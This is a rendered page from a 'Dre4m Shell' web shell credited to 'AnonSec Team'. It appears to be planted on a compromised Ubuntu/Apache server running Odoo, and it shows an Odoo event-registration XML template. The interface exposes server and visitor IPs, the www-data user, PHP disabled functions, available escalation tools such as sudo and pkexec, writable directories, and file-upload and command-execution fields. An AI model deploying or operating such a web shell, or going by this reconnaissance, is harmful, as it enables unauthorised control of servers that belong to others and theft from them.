Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 18.191.91.228
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/website_event_questions/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/website_event_questions/views/website_event_questions_templates.xml
<?xml version="1.0" encoding="utf-8"?>
<odoo>

<template id="event_question_assets" inherit_id="website.assets_frontend" name="Events Questions">
    <xpath expr="/t" position="inside">
        <script type="text/javascript" src="/website_event_questions/static/src/js/website_event_questions.js"></script>
    </xpath>
</template>

<template id="registration_attendee_details_questions" inherit_id="website_event.registration_attendee_details" name="Registration Attendee Details with questions">
    <data>
        <!-- Attendee specific questions -->
        <xpath expr="//t[@name='attendee_loop']" position="inside">
            <t t-if="event.specific_question_ids">
                <div class="mb16 mt16">
                    <div t-foreach='event.specific_question_ids' t-as='question'>
                        <div class="row mb4">
                            <span class="col-md-7 mt4 text-right"><t t-esc="question.title"/></span>
                            <div class="col-md-5">
                                <select t-attf-name="#{counter}-answer_ids-#{question.id}" class="o_specific_answer" required="true">
                                    <t t-foreach='question.answer_ids' t-as="answer">
                                        <option t-esc='answer.name' t-att-value='answer.id'/>
                                    </t>
                                </select>
                            </div>
                        </div>
                    </div>
                </div>
            </t>
        </xpath>

        <!-- Generic questions -->
        <xpath expr="//div[hasclass('modal-body')]/div/t[last()]" position="after">
            <t t-if="event.general_question_ids">
                <h4 class="page-header mt8"><strong>Common Questions</strong></h4>
                <div>
                    <div t-foreach='event.general_question_ids' t-as='question'>
                        <div class="row mb4">
                            <span class="col-md-7 mt4 text-right"><t t-esc='question.title'/></span>
                            <div class="col-md-5">
                                <select t-attf-name="0-answer_ids-#{question.id}" class="o_general_answer" required="true">
                                    <t t-foreach='question.answer_ids' t-as="answer">
                                        <option t-esc='answer.name' t-att-value='answer.id'/>
                                    </t>
                                </select>
                            </div>
                        </div>
                    </div>
                </div>
            </t>
        </xpath>
    </data>
</template>

</odoo>

Anon7 - 2022
AnonSec Team